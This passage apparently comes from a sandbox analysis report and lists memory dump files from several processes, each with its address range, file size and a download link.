memory/1296-58-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/1296-44-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-59-0x0000000005130000-0x0000000005131000-memory.dmp

Filesize
4KB

Download
memory/1296-46-0x0000000004860000-0x0000000004861000-memory.dmp

Filesize
4KB

Download
memory/1296-47-0x00000000048B0000-0x00000000048B1000-memory.dmp

Filesize
4KB

Download
memory/1296-48-0x0000000004870000-0x0000000004871000-memory.dmp

Filesize
4KB

Download
memory/1296-50-0x00000000048C0000-0x00000000048C1000-memory.dmp

Filesize
4KB

Download
memory/1296-49-0x00000000048A0000-0x00000000048A1000-memory.dmp

Filesize
4KB

Download
memory/1296-52-0x0000000005190000-0x0000000005191000-memory.dmp

Filesize
4KB

Download
memory/1296-53-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/1296-54-0x00000000051E0000-0x00000000051E1000-memory.dmp

Filesize
4KB

Download
memory/1296-56-0x0000000005290000-0x0000000005291000-memory.dmp

Filesize
4KB

Download
memory/1296-55-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1296-57-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-21-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-13-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-20-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-29-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-25-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-36-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-35-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-17-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-28-0x0000000003070000-0x0000000003071000-memory.dmp

Filesize
4KB

Download
memory/2920-19-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-32-0x00000000047D0000-0x00000000047D1000-memory.dmp

Filesize
4KB

Download
memory/2920-10-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/2920-31-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/3768-95-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/3768-96-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/3768-97-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/3768-98-0x0000000000400000-0x0000000000E31000-memory.dmp

Filesize
10.2MB

Download
memory/5084-88-0x0000000000400000-0x000000000056F000-memory.dmp

Filesize
1.4MB

Download
memory/5084-85-0x0000000000400000-0x000000000056F000-memory.dmp

Filesize
1.4MB

Download